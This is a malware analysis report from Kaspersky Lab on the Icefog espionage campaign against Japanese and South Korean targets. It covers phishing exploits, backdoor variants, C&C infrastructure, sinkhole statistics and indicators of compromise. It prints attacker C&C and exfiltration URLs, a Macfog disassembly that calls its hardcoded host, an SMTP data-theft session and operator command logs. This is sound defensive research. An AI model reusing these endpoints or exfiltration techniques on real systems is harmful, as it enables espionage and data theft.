THE ‘ICEFOG’ APT: A TALE OF CLOAK AND THREE DAGGERS

* “三尖刀” - also known as “three daggers” or “three knives” is an ancient Chinese weapon.

KASPERSKY LAB GLOBAL RESEARCH AND ANALYSIS TEAM (GREAT)
VERSION: 1.00

(©) 2013 KASPERSKY LAB ZAO
## CONTENTS

**EXECUTIVE SUMMARY** ................................................................. 3

**ATTACK ANALYSIS** ................................................................. 4
  > Spear-phishing attacks - Microsoft Office exploits ........................... 5
  > Spear-phishing attacks - Java exploits ........................................... 9
  > Spear-phishing attacks - HLP vector ............................................ 10
  > Spear-phishing attacks - HWP vector ........................................... 12
  > Attackers’ “Modus Operandi” ...................................................... 12
  > Backdoor Information ............................................................. 13
  > Lateral movement tools: ............................................................ 22

**COMMAND AND CONTROL SERVERS** ........................................ 24
  > C&C Servers Infrastructure ....................................................... 25

**INFECTION DATA AND STATISTICS** ........................................... 33
  > Sinkhole Information .............................................................. 34

**ATTRIBUTION** ........................................................................... 39

**MITIGATION INFORMATION** .................................................... 42
  > Indicators of Compromise (IOCs) ................................................ 42

**CONCLUSIONS** ........................................................................ 49

**APPENDIX A** ............................................................................. 51
  > Malware MD5s. .............................................................................. 51

**APPENDIX B** ............................................................................. 54
  > Malware Technical Analysis .......................................................... 54

**APPENDIX C** ............................................................................. 60
  > The Icefog-NG Bot Description .................................................... 60

**APPENDIX D** ............................................................................. 64
  > The Macfog Bot Description ........................................................ 64
“Icefog” is an Advanced Persistent Threat that has been active since at least 2011, targeting mostly Japan and South Korea. Known targets include governmental institutions, military contractors, maritime and shipbuilding groups, telecom operators, industrial and high-tech companies and mass media.

The name “Icefog” comes from a string used in the command-and-control server name in one of the samples. The command-and-control software is named “Dagger Three”, in the Chinese language.

The “Icefog” backdoor set (also known as “Fucobha”) is an interactive espionage tool that is directly controlled by the attackers. There are versions for both Microsoft Windows and Mac OS X. In its latest incarnation, Icefog doesn’t automatically exfiltrate data, instead, it is operated by the attackers to perform actions directly on the victim’s live systems.

During Icefog attacks, several other malicious tools and backdoors were uploaded to the victims’ machines, for data exfiltration and lateral movement. This document includes a description of the backdoors, other malicious tools, together with remediation information. (“Indicators of compromise”)
The Icefog targeted attacks rely on spear-phishing e-mails that attempt to trick the victim into opening a malicious attachment or a website.

During our investigation, we identified several types of exploits being used through spear-phishing e-mails against the targets:

- CVE-2012-1856 (the “Tran Duy Linh” (also see: [http://blog.malwaretracker.com/2013/06/tomato-garden-campaign-possible.html](http://blog.malwaretracker.com/2013/06/tomato-garden-campaign-possible.html)) exploit fixed in Microsoft’s MS12-060 security bulletin)
- CVE-2012-0158 (the MSCOMCTL.OCX remote code execution vulnerability fixed with Microsoft’s MS12-027 security bulletin)
- Web links to Oracle Java exploits (CVE-2013-0422 and CVE-2012-1723)
- HLP exploits and abuse of features
- HWP exploits

The first two vulnerabilities are exploited through Microsoft Office documents (Word and Excel) that drop and execute the backdoor and show a fake “lure” document to the victim. These appear to be the most common methods used by the attackers at this moment.
ATTACK ANALYSIS

SPEAR-PHISHING ATTACKS - MICROSOFT OFFICE EXPLOITS

The victim receives an e-mail with an attachment that is either a Word (.doc) or Excel (.xls) file.

**EXAMPLE ‘A’**

<table>
<thead>
<tr>
<th>MD5</th>
<th>FILENAME</th>
<th>KASPERSKY NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>b8bed65865ddecbd22eff0970b97321</td>
<td>E-mail message</td>
<td>Exploit.MSWord.CVE-2012-0158.bu</td>
</tr>
<tr>
<td>5f1344d8375b449f77d4d8ecfcded9a</td>
<td>“AKB48 Sashihara Rino was super cheetah (with picture). Doc based on his confession”</td>
<td>Exploit.MSWord.CVE-2012-0158.bu</td>
</tr>
<tr>
<td>9de808b3147ec72468a5aec4b2c38c20</td>
<td>Temporary dropper</td>
<td>Backdoor.Win32.CMDer.ct</td>
</tr>
<tr>
<td>120f9ed8431a24c14b60003260930c37</td>
<td>wdmaud.drv</td>
<td>Backdoor.Win32.CMDer.ct</td>
</tr>
</tbody>
</table>

The attachment is a standard “Tran Duy Linh” exploit for CVE-2012-1856.

Sample Icefog spear-phishing e-mail
Upon successful execution, the exploit displays a decoy document featuring a picture of a scantily clad woman:

Sample Icefog spear-phishing e-mail

<table>
<thead>
<tr>
<th>MD5</th>
<th>FILENAME</th>
<th>KASPERSKY NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>32e8d4b2f08afff8383c8016b7ebd7c85b</td>
<td>Name varies</td>
<td>Exploit.MSWord.CVE-2012-0158.u</td>
</tr>
<tr>
<td>d544a65f0148e59ceca38c579533d040</td>
<td>n/a</td>
<td>Trojan-Downloader.Win32.Agent.wqqz</td>
</tr>
<tr>
<td>9a64277e40e3db8659d359126c840897</td>
<td>wdmaud.drv</td>
<td>Trojan-Downloader.Win32.Agent.wqqz</td>
</tr>
</tbody>
</table>
ATTACK ANALYSIS

Upon successful execution, this shows a clean, fake “lure” document in Japanese titled “Little enthusiasm for regional sovereignty reform”:

Sample Icefog spear-phishing e-mail

<table>
<thead>
<tr>
<th>MD5</th>
<th>FILENAME</th>
<th>KASPERSKY NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>61ed85d28eb18b13223e033a01cb5c05</td>
<td>量産用材料の件.eml / Reviews for mass production material</td>
<td>Exploit.MSWord.CVE-2012-0158.az</td>
</tr>
<tr>
<td>43edcbd20bb5fec2c2d36e7c01d49fc7</td>
<td>20130128.xls</td>
<td>Exploit.MSWord.CVE-2012-0158.az</td>
</tr>
</tbody>
</table>
ATTACK ANALYSIS

This is a business e-mail in Japanese:

The same malware was used to spear-phish multiple targets in Japan. Another example (d6c90955c6f2a346c9c91be82a1f9d8c) looks like this:
SPEAR-PHISHING ATTACKS - JAVA EXPLOITS

In addition to Microsoft Office exploits, the Icefog attackers are known to be using Java exploits, hosted online.

For instance, one of the malicious websites used in the attacks was “money.cnnpolicy.com”. The Java exploit downloaded and executed an Icefog dropper from the following URL:

```
www.securimalware[dot]net/info/update.exe
```

Note: This website is now SINKHOLED by Kaspersky Lab.

The “update.exe” is a standard Icefog dropper, with the following information:

<table>
<thead>
<tr>
<th>MD5</th>
<th>COMPILEDON</th>
<th>KASPERSKY NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>78d9ac9954516ac096992cf654caa1fc</td>
<td>2012-07-26 03:10:51</td>
<td>Trojan-Downloader.Win32.Agent. gzda</td>
</tr>
</tbody>
</table>

Upon execution, it installs the Icefog malware as “sxs.dll” in the Internet Explorer folder (usually “C:\ Program Files\Internet Explorer”):

<table>
<thead>
<tr>
<th>MD5</th>
<th>COMPILEDON</th>
<th>KASPERSKY NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>387ae1e56fa48ec50a4d639c3cc51ace7</td>
<td>2012-07-26 03:10:48</td>
<td>Trojan-Downloader.Win32.Agent. xsub</td>
</tr>
</tbody>
</table>

To receive control, the malware DLL (“sxs.dll”) uses a technique known as “DLL search order hijacking”, which abuses the fact that Internet Explorer will load this file from its own directory, instead of the Windows SYSTEM folder.

The backdoor beams out to the command-and-control server at www.setchon[dot]com/jd/upload.aspx
The Icefog attackers are also using HLP files to infect their targets. The HLP files do not contain exploits but they are abusing certain Windows “features” to drop the malware.

It’s interesting to know that Icefog is not the only crew to heavily use HLP “exploits” as a part of their toolkit. Well known, very effective APT like the “Comments Crew” / APT1, have included the HLP trick in their kits, along with other lesser known crews.

This HLP format is an older one, known as “Winhelp”, which was natively supported up until Vista and Windows 7, when Microsoft shipped a separate Winhlp32.exe component to help phase out the technology. Most likely, the choice to abuse Winhelp indicates that the attackers have an idea of what version operating systems they are attacking.

In very conservative terms, this implementation of HLP files is not an “exploit”, but instead, abuse of a poorly constructed Windows Help feature. Code and data is mixed in this file format, and the Icefog attackers abused it with custom macros.

A fine description of “custom macros” and the risks of building them in to WinHelp projects is provided by Ruben Santamarta: http://reversemode.com/index2.php?option=com_content&do_pdf=1&id=4

### EXAMPLES

<table>
<thead>
<tr>
<th>MD5</th>
<th>FILENAME</th>
<th>KASPERSKY NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>0b28d3cc9e89ffe53dbb50f739fcb6e3</td>
<td>Q&amp;A.hlp</td>
<td>Exploit.WinHLP.Agent.d</td>
</tr>
<tr>
<td>4482fd69a07ab15d9a9d3b3819d048be</td>
<td>응.hlp</td>
<td>Exploit.WinHLP.Agent.d</td>
</tr>
</tbody>
</table>

Let’s take a quick look at an example of how the Icefog attackers abused the provided WinHelp functionality by examining the relevant custom macros, API calls and shellcode.
This sample uses standard Win32 API to allocate memory with the execution flag set, copies(using long string copy) XOR’ed “shellcode” and calls CreateThread to transfer execution to the malicious payload.

In the screenshot above, “RR” means RegisterRoutine.

After registration, one can simply call the respective function.

Next, the sample allocates memory with execution flag , and copies XOR’ed “shellcode”. To execute the code, a simple call to CreateThread( ) suffices:

The shellcode is encrypted with a simple 0xBF XOR operation:

During our investigation, we observed Icefog attacks using HWP files. These are document files used by the Hangul Word Processor. According to Wikipedia, Hangul (also known as Hangul Word Processor or HWP) is a proprietary word processing application (link to: http://en.wikipedia.org/wiki/Hangul_(word_processor) published by the South Korean company Hancom Inc. It is used extensively in South Korea, especially in the government sector.

Unfortunately, we were not able to obtain any of these files, although they were used to successfully attack and infect victims.

Users of HWP should be aware of these exploits and update their Hangul Word Processor installation to the most recent version.

ATTACKERS’ “MODUS OPERANDI”

The attack is initiated through spear-phishing e-mails, taking advantage of multiple known (already patched) vulnerabilities. Once they successfully infect a machine, the operators perform several basic functions to identify and confirm the nature of the victim:

- List folders on disk such as “My Documents” and the Desktop.
- List adapters and IP configurations.
- Get information about the victim and their network.

If the victims looks “genuine” (they avoid working with virtual machines and “fake” victims) they further deploy additional software, including:

- Type “2” backdoors that use a newer protocol for communication.
- Lateral movement tools such as:
  - Password and hash dumping tools.
  - Tools to dump Internet Explorer saved passwords.
  - Tools to dump Outlook e-mail accounts and passwords.
  - Debugging tools.
ATTACK ANALYSIS

- The legitimate “RAR” program to compress stolen data.

We have documented three main types of stolen data:

- Windows address books, .WAB files.
- Documents, including HWP, XLS and DOC files.
- User account credentials.

If stolen information represents large files, they are compressed with the popular tool WinRAR (split into volumes) or CABARC and transferred to the command-and-control part by part.

BACKDOOR INFORMATION

Several known variants of the Icefog backdoor are known to exist. We list these as following:

- The “old” 2011 Icefog — which sends stolen data by e-mail; this version was used against the Japanese House of Representatives and the House of Councillors in 2011.
- Type “1” “normal” Icefog — which interacts with command-and-control servers.
- Type “2” Icefog — which interacts with a script-based proxy server that redirects commands from the attackers to another machine.
- Type “3” Icefog — We don’t have a sample of this variant but we observed a certain kind of C&C that uses a different communication method; we suspect there are victims infected with this malware.
- Type “4” Icefog — same situation as “type 3”.
- Icefog-NG — which communicates by direct TCP connection to port 5600.
THE OLD “2011” ICEFOG

Back in 2011, we analyzed malware samples that were used to attack several Japanese organizations. Among of the attacked organizations were the Japanese “House of Representatives” and the “House of Councilors”.

<table>
<thead>
<tr>
<th>MD5</th>
<th>COMPILEDON</th>
<th>KASPERSKY NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>6d3d95137ef1ba5c6e15a4a95de8a546</td>
<td>2011-08-05 16:44:30</td>
<td>Trojan-Spy.Win32.Agent.bxeo</td>
</tr>
<tr>
<td>a72d3774d2d97a7eeb164c6c5768f52a</td>
<td>2011-07-22 20:54:16</td>
<td>Trojan-PSW.Win32.MailStealer.j</td>
</tr>
</tbody>
</table>

Both samples beacon out to the C&C at “www.cloudsbit.com”, although to different scripts: “/dj/upload.aspx” and “/jd2web/upload.aspx”.

In addition to the normal command-and-control mechanism, these older samples feature another capability, which involves e-mail accounts on AOL.COM:

harrypottercommand001@aol.com
jd2command092@aol.com
jd2clientsend@aol.com
woshihero009@aol.com
mrmylcmd009@aol.com
defaultmail002@aol.com

The malware has the ability to connect to these accounts by POP3 and fetch commands from the mailbox. It also has the ability to send stolen data by e-mail, by contacting smtp.aol.com and sending e-mail messages directly.

Here’s what such a session looks like:

```
250 STARTTLS
250 AUTH LOGIN PLAIN XAOI-UAS-MB
250 AUTH=LOGIN PLAIN XAOI-UAS-MB
250 ENHANCEDSTATUSCODES
250 ESMTPIME
250 200
AUTH LOGIN
334 VHE instructed
334 ukr3dyc06
334 10Fzc3duyc06
235 2.7.0 Authentication successful
MAIL FROM:<defaultmail002@aol.com>
250 2.1.0 Ok
RCPT TO: <woshihero009@aol.com>
250 2.1.5 Ok
DATA
354 End data with <CR><LF><CR><LF>
Date: Mon, 31 Oct 2011 16:59:29 -0800
From: <defaultmail002@aol.com>
To: <woshihero009@aol.com>
Subject: sxxxxxombie
Message-ID: <1321019146@b觥.com>
```
One of the samples used in the attacks drops a “lure” photo depicting a Japanese audience:

Note: the faces of the people in the photo above have been blurred in accordance to the “Japanese Portrait Rights” (肖像権(しょうぞうけん)) regulations

Of the e-mail accounts used by the backdoor, one of them was interesting: woshihero009[at]aol.com

Back in August 2011, when these attacks took place, this mailbox had several hundred e-mails with stolen information from the victims.
Interestingly, their address book contained a number of e-mail addresses to which e-mails were forwarded and were automatically added to the address book.

Note: More information about the attackers and the older “2011” Icefog incident is available in our private report.

### TYPE “1” ICEFOG

<table>
<thead>
<tr>
<th>MD5</th>
<th>COMPILEDON</th>
<th>KASPERSKY NAME</th>
</tr>
</thead>
</table>

The Icefog type “1” backdoor is a remotely controlled Trojan that supports a variety of functions. Versions of this backdoor are available for Microsoft Windows and Mac OS X.

It has the ability to:

> Hijack and upload basic system information to C&C servers owned and controlled by the attackers.

> Give the attackers access to push and run commands on the infected system.

> Steal and upload files from the victims to the command-and-control servers.

> Download files (tools) from the C&C servers to the infected computers.

> Give access to the attackers to directly execute SQL commands on any MSSQL servers in the network.

*For a technical description of the type “1” Icefog backdoor, see Appendix B.*
TYPE “2” ICEFOG

The type “2” Icefog backdoor is very similar to type 1. However it uses a proxy server for the commands. This behavior relies on a set of ASP scripts, which act as a buffer between the real C&C backend and the victim. It offers another level of anonymity to the attackers, as it can be controlled (for instance) via Tor or another anonymizing method.

We haven’t observed the use of Type “2” backdoors directly against the victims. Instead, the type “2” backdoor is used as an upgrade to Type “1” infections, together with a special loader tool.

It uses a script named “alive.asp” for most of the operations.

```
<%execute delete tasklist cmdstart cmd cmdend codepiece open write seek ftell fcntl fread FindFirstFileA FindNextFileA FindClose winet.dll InternetOpenA InternetReadFile InternetWriteFile HttpSendRequestA InternetConnectA InternetCloseHandle EnumProcesses psapi.dll OpenProcess EnumProcessModules GetModuleBaseNameA HttpAddRequestHeadersA HttpOpenRequestA HttpEndRequestA advapi32.dll OpenProcessToken GetCurrentProcessId ImpersonateLoggedOnUser Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
RevertToSelf GetTickCount GetLocalTime GetSystemDefaultLCID msvcr100.dll inet_ntoa WSAStartup VirtualAlloc VirtualFree GetVersionExA strcat strcmp strlen strcpy Sleep gethostname gethostbyname CreateThread GetDriveTypeA CreatePipe GetStartupInfoA CreateProcessA PeekNamedPipe TerminateProcess shell32.dll ShellExecuteA open DeleteFileA CreateToolhelp32Snapshot Process32First Process32Next cmd.exe WriteFile ReadFile yes noo POST GET */* sprintf
```

Icefog Type “2” C&C scripts
Type “2” Icefog exists as shellcode files, usually named “msuc.dat”. These are loaded through the use of a special tool.

<table>
<thead>
<tr>
<th>MD5</th>
<th>FILENAME</th>
<th>KASPERSKY NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>324d26f4fb7a91b8019c19e6a0318400</td>
<td>msuc.dat</td>
<td>Trojan.Win32.Icefog.a</td>
</tr>
<tr>
<td>aa97368c43171a5c93c57327d5da04cf</td>
<td>msuc.dat</td>
<td>Trojan.Win32.Icefog.a</td>
</tr>
</tbody>
</table>

Loaders:

<table>
<thead>
<tr>
<th>MD5</th>
<th>FILENAME</th>
<th>KASPERSKY NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>d22ab2a2f9e4763a35eb7c6db144d3d4</td>
<td>msld.exe</td>
<td>Trojan.Win32.Icefog_loader</td>
</tr>
<tr>
<td>ffe41bd67de8806ac2d0e10a3cab3c2</td>
<td>暗流服务端代码片调用程序.exe (&quot;Undercurrent server code piece calling program&quot;)</td>
<td>Trojan.Win32.Icefog_loader</td>
</tr>
<tr>
<td>be043b0d1337f85cfd05f786eaf4f942</td>
<td>通信模块代码片调用专用.exe.jpg (&quot;Communication module code sheet invoking special.Exe.jpg&quot;)</td>
<td>Trojan.Win32.Icefog_loader</td>
</tr>
</tbody>
</table>

In terms of functionality, type “2” Icefog is similar to type “1”. The only difference is that the malware does not have persistence in the system and disappears after reboot.

**TYPE “3” AND “4” ICEFOG**

Although we don’t have samples of these variants, we observed and sinkholed a certain kind of Icefog-related command-and-controls that use a different communication method; we suspect there are victims that are infected with this malware.

Type “3” Icefog uses scripts named “view.asp” and “update.asp”. Known C&C URLs:

- www.kreternately[dot]net/web/view.asp
- disneyland.website.iiswan[dot]com/web/view.asp

Type “4” Icefog uses scripts named “upfile.asp”. Known C&C URL:

- www.pinganw[dot]org/sugers/upfile.asp - SINKHOLED by Kaspersky Lab)
ATTACK ANALYSIS

We continue to look for these variants and will update the paper when or if they are identified.

**TYPE “NG” ICEFOG**

Type “NG” Icefog is the most recent version of this backdoor. It is designed to communicate directly with a command-and-control software that runs on Microsoft Windows computers.

*For a thorough technical description of the type “1” Icefog backdoor, see Appendix C.*

**MACFOG - THE MAC OS X VERSION OF ICEFOG**

In late 2012, the Icefog attackers experimented with a Mac OS X version of Icefog. This particular version of the malware was seeded in a number of Chinese BBS forums and masked as a graphic application.


On 19 October 2012, the user “appstoer” advertised an application named “Img2icns.rar”.

The archive contains a Mac OS X application that drops and installs the Macfog malware. We were able to find two such archives, but there are probably more.
The malicious modules have the following identification data:

<table>
<thead>
<tr>
<th>MD5</th>
<th>FILENAME</th>
<th>SIZE</th>
<th>KASPERSKY NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>cf1815491d41202eb8647341a8695e1e</td>
<td>launchd</td>
<td>32,768</td>
<td>Trojan.OSX.Macfog.a</td>
</tr>
<tr>
<td>336de9428650c46b64ff699ab4a441bb</td>
<td>launchd</td>
<td>23,084</td>
<td>Trojan.OSX.Macfog.a</td>
</tr>
<tr>
<td>9f422bb6c00bb46fbfa3918ae3e9447a</td>
<td>Img2icns</td>
<td>23,236</td>
<td>Trojan.OSX.Macfog.a</td>
</tr>
</tbody>
</table>

The Macfog backdoor is a 64-bit Apple Mac OS X Mach-O executable, compiled with the LLVM Clang package. It uses the type “1” C&C servers protocol to communicate and has the same capabilities as the Windows version. We are including a brief description below; a full description of the malware is available in Appendix D:

**MACFOG: SUMMARY DESCRIPTION**

The Macfog backdoor is very similar to its Win32 siblings. It collects unique system information and POSTs this data to a hardcoded URL:

```
hxxp:/appst0re.net/upload.aspx?filepath=%order/ok/arbitrary name%&filename=%hostname%.jpg
```

```c
mov   rdi, cs:off_100005E98
mov   rsi, cs:off_100005C00
lea   rdx, cfstr_HttpAppstOre_n ; "http://appst0re.net"
lea   rcx, cfstr_HttpAppstOre_n ; "http://appst0re.net"
mov   r8, rbx
xor   al, al
call  cs:objc_msgSend_ptr
```

```
exit
```
The backdoor is capable of familiar functionalities: system information collection, communication over HTTP with the C&C, download and upload files and execute system commands.

The Macfog backdoor is different from the Windows variant from the point of view of usage by the attackers. So far, we haven’t identified victims of targeted attacks being infected with it, although we do believe they exist. The seeding of this version through Chinese bulletin boards resulted in a few hundred infections worldwide. We believe this could have been a beta-testing phase for Mac OS X versions to be used in targeted attacks later.
ATTACK ANALYSIS

LATERAL MOVEMENT TOOLS:

The attackers rely on a multitude of lateral movement tools that are deployed to the victims through the command-and-control servers. The tools we observed cover a variety of functions, such as dumping Windows user credentials, Outlook and Internet Explorer saved passwords, and the gathering of system information.

One of the servers we analyzed had an open folder where some of the filenames of the lateral movement tools were still visible, although most were truncated to 0 by the C&C upon successful execution on the victim:

```
| Thursday, June 20, 2013 9:25 AM | 353215 console.exe.jpg |
| Wednesday, June 19, 2013 11:19 AM | 0 Dbgview.exe.jpg |
| Wednesday, June 19, 2013 11:14 AM | 451600 Dbgview.exe.jpg |
| Tuesday, July 02, 2013 1:48 AM | 0 delli_winxp_192.168.105.128.jpg |
| Thursday, June 20, 2013 9:31 AM | 0 injectcode.h.jpg |
| Sunday, June 23, 2013 6:59 AM | 0 load.exe.cab.jpg |
| Wednesday, June 26, 2013 12:26 PM | 0 winl.exe.cab.jpg |
| Wednesday, June 26, 2013 12:27 PM | 0 server.dat.cab.jpg |
| Wednesday, June 26, 2013 12:22 PM | 0 wdm1(host_IP).drv.cab.jpg |
| Monday, June 24, 2013 4:58 AM | 0 wdm3.drv.cab.jpg |
```

Folder with lateral movement tools on a command-and-control server

A description of some of the tools we observed follows:

<table>
<thead>
<tr>
<th>MD5</th>
<th>FILENAME</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>d53cec579c7b3b3e0f77cd64e0c58bbf</td>
<td>console.exe.jpg</td>
<td>Server backend of Icefog-NG</td>
</tr>
<tr>
<td>00c3d59a83c3745498b75fd9d1067b4c</td>
<td>Ddbgview.exe.jpg</td>
<td>Sysinternals’s Ddbgview</td>
</tr>
<tr>
<td>9d3d8504cd488acca731cfd48fe5851-5f12</td>
<td>hush获取.exe.jpg</td>
<td>Known Windows hashes dumping tool “quarks-pwdump.exe”</td>
</tr>
<tr>
<td>ffe41bd67de806ac2d0e10a3cab3c2</td>
<td>暗流服务端代码片调用程序.exe.jpg (“Undercurrent server code piece calling program”)</td>
<td>Loader for type “2” Icefog</td>
</tr>
<tr>
<td>be043b0d1337f85cf05f786eaf4f942</td>
<td>通信模块代码片调用专用.exe.jpg (“Communication module code sheet invoking special. Exe.jpg”)</td>
<td>Loader for type “2” Icefog</td>
</tr>
<tr>
<td>95ee545a6562a81c3e049a48c5b9f8aa</td>
<td>freespi.cab.cab</td>
<td>Small tool which lists and deletes Winsock providers. Icefog uses Winsock providers for persistence, so it is used by the attackers during upgrade to a newer version of the malware.</td>
</tr>
</tbody>
</table>
In addition to these, several other tools were observed but not recovered. For instance, on one of the victim machines, we observed what appeared to be the use of a Kernel exploit through a Java application for escalation of privileges. Unfortunately, we do not know if it was a zero-day kernel vulnerability because the file was deleted by the attackers after being used.
During our research, we observed multiple Icefog command and control servers. Most of them were on shared hosting platforms, however, some of them, which were of greater importance to the attackers, were also using dedicated hosting.

Perhaps one of the most important aspects of the Icefog C&Cs is the “hit and run” nature. The attackers would set up a C&C, create a malware sample that uses it, attack the victim, infect it, and communicate with the victim machine before moving on. The shared hosting would expire in a month or two and the C&C disappears.

The nature of the attacks was also very focused - in many cases, the attackers already knew what they were looking for. The filenames were quickly identified, archived, transferred to the C&C and then the victim was abandoned.

Based on the C&C names, we were able to identify several Icefog campaigns that were active between 2011-2013.

From the timeline above, it seems the attackers increased the number of campaigns in 2013 compared to previous years, although it’s possible that malware and artifacts used in earlier years are no longer available. Hence, the chart probably represents only a fraction of the attackers’ activity during the past years.
C&C SERVERS INFRASTRUCTURE

We identified four types of Icefog C&C servers - type “1”, “2”, “3” and type “4”. Also, there is a fifth, standalone type of C&C, used for Icefog-NG, which runs as a Windows desktop application.

The type “1” C&C server uses a full web backend that lets the attacker directly control the victims via a web browser. The type “1” C2 backend is written in ASP.NET.

The type “2” C&C server backend we identified acts as a virtual, custom proxy between the attackers and the victims. It is written in ASP and is extremely simplistic in operation. This is more effective as it conceals the attacker’s identity. The second type of C2 works in conjunction with a control tool, probably running directly on the attacker’s PC.

The type “3” C&C server (used in the “starwings” and “disneyland” campaigns) appears to be experimental and features only two basic functions: view and update. Its exact workings are unknown and we haven’t been able to locate the Icefog malware that uses it.

The type “4” C&C server was identified through sinkholing of the domain “pinganw[dot]org”. (known C2 URL - www.pinganw[dot]org/sugers/upfile.asp). Just like type “3”, the exact workings are unknown and we haven’t been able to locate the Icefog malware that uses it.

The Icefog-NG C&C server is a Windows desktop application which doesn’t require a web server and works as a standalone TCP server, which by default listens on port 5600.

Our analysis focuses on type “1” C&C servers, which are the most popular and have been used in most of the attacks we observed.
Here’s a look at the type “1” command-and-control server login screen:

For martial arts fans, the “尖刀三号” is quite similar to “三尖刀”, which is an ancient Chinese weapon.

The Type “1” C2 interface is written in ASP.NET and features an easy to use interface to communicate with and manage the victims:

The “ManageSystem” C&C user interface (type “1”)

This control panel is actually a Visual Basic.NET web application with the following structure:
The application uses the native filesystem as the main storage to save stolen data, logs and temporary files. Below is short description of directories used by the C&C application:

- **ok:** “heartbeat” files with dates that indicate the last time a victim was online.
- **downloads:** files that were transferred from the victim at the request of the operator.
- **uploads:** files that should be pushed to the victim systems.
- **order:** files containing instructions or commands that are to be executed on the victims’ machines.
- **result:** The result of command execution on the victims’ machines.
- **info:** basic information about the victims’ systems.
- **logs:** operator interaction logs, can be erased on request by the operator.
- **files:** additional files, including JavaScript, CSS and images used by Control Panel web user interface.

Perhaps the most interesting part is that the type “1” C&C panel maintains a full history of the attacker’s interaction with the victims. This is kept as an encrypted logfile, in the “logs” directory on the server. In addition to that, the server maintains full interaction logs and command execution results from each victim.
Below we can see an example of the attackers copying a number of files to “c:\temp\mslog” from an USB flash drive connected to the computer with Korean Windows systems and preparing them for upload to the C2:

```
\cm\_mkdir c:\temp\mslog
\cm\_copy g:\1563622.pdf c:\temp\mslog
\cm\_dir c:\temp\mslog
\cm\_copy g:\\c:\temp\mslog\\1개 파일이 복사되었습니다.
\cm\_dir c:\temp\mslog
\cm\_copy g:\\\c:\temp\mslog\\1개 파일이 복사되었습니다.
\cm\_copy g:\\\c:\temp\mslog\\1개 파일이 복사되었습니다.
\cm\_copy g:\\\c:\temp\mslog\\1개 파일이 복사되었습니다.
\cm\_copy g:\\\c:\temp\mslog\\1개 파일이 복사되었습니다.
\cm\_copy g:\\\c:\temp\mslog\\1개 파일이 복사되었습니다.
\cm\_copy g:\\\c:\temp\mslog\\1개 파일이 복사되었습니다.
\cm\_copy g:\\\c:\temp\mslog\\1개 파일이 복사되었습니다.
```

In another example, we can see them uploading and running a type “2” backdoor on top of the type “1” infection:

```
\cm\_expand c:\windows\msuc.cab c:\windows\msuc.dat
Microsoft (R) File Expansion Utility Version 5.1.2600.0
Copyright (C) Microsoft Corp 1998-1999. All rights reserved.
\cm\_expand c:\windows\msuc.cab을(를) c:\windows\msuc.dat(을)로 확장합니다.
\cm\_expand c:\windows\msuc.dat: 12528비트에서 32999비트로 확장되었습니다. 163%
```

```
Interestingly, the modern Icefog-NG C&C application looks very similar to Icefog Web UI - it uses the same multi-tab layout and even has the same tab titles. We believe that Icefog-NG was developed by the same author to replace Icefog bot and the web-based Control Panels.
Icefog-NG was designed to be more responsive and convenient to the operator. The data storage is the same - local filesystem, and even the file names are the same as on the previous Icefog version. Here is a screenshot of the user interface from the Icefog-NG C&C application.

Like with the web-based Icefog, this C&C application requires authorization of the operator. While in the web version it made sense to authenticate remote users to restrict access to the Control Panel, the desktop application authentication is easily bypassed, because the login and password are hardcoded in the binary.

Here’s a look at the “victims” panel in the Icefog-NG C&C software:
One curious fact about Icefog-NG is that it is usable only if you have screen resolution set at 1280x1024 or higher. Even on standard 1024x768, not all controls fit into screen. The application was created using Microsoft Visual Studio MFC AppWizard. Although, the sample we analyzed was compiled in May 2013, the project was most likely started in 2012, which is stated in the “About Application” message box. This date is put automatically by the AppWizard when the code is generated for the first time.
The command-and-control servers maintain full logs of the victims together with the various operations performed on them by the C&C operators. These logs are encrypted with a simple XOR operation and available to anyone who knows their location and name on the server. Here’s what a decoded log looks like:

![Sample C&C activity log]

These logs can sometimes help to identify the targets of the attacks and in some cases, the victims.

During our research, we observed attacks against a number of targets in South Korea, Taiwan and Japan. These include defense industry contractors such as Lig Nex1 and Selectron Industrial Company, shipbuilding companies such as DSME Tech, Hanjin Heavy Industries, telecom operators such as Korea Telecom, media companies such as Fuji TV and the Japan-China Economic Association.

![Some organizations that the attackers were interested in targeting]
During our research, we managed to sinkhole 13 domains used by the attackers:

> spekosoft.com
> kechospital.com
> unikorean.com
> pasakosoft.net
> chinauswatch.net
> msvistastar.com
> defenseasia.net
> penganw.org
> kevinsw.net
> avatime.net
> shinebay.net
> securimalware.net - used in spear-phishing attacks
> appst0re.net - MacFog’s command-and-control

All of them have been redirected to the Kaspersky Sinkhole server at 95.211.172.143.

Overall, during the monitoring period, we observed connections from several victims, based in South Korea, Japan, Taiwan, Germany and some other countries.
For Windows based computers, we have the following statistics:

- **Distribution by number of hits in our sinkhole (percentage):**
  - China: 35.54%
  - Korea: 15.59%
  - Germany: 1.74%
  - Austria: 0.67%
  - Taiwan:
  - Japan:

- **Distribution by number of hits in our sinkhole (absolute values):**
  - Taiwan: 120,000
  - Japan: 100,000
  - Korea: 40,000
  - China: 20,000
  - Germany: 10,000
  - Austria: 5,000

The graphs above illustrate the distribution of infections by percentage and absolute values for various countries.
INFECTION DATA AND STATISTICS

Distribution by number of IPs in our sinkhole (percentage)

Distribution by country by number of IPs in our sinkhole (absolute values)
For Macfog, the Mac OS X version of the backdoor, we have the following statistics:

Overall, we’ve observed over 4500 IPs with infected Macfog hosts, belonging to more than 430 unique victims.
For Windows-based machines, our sinkhole received connections from almost 200 unique IPs, in six countries.

It should be noted that in terms of the overall picture, these sinkholed domains offer a view of only a fraction of the infected computers, especially old infections which for some reason have not yet been disinfected. The newer attacks are more difficult to track because they use new C&C domains that can’t be easily sinkholed.

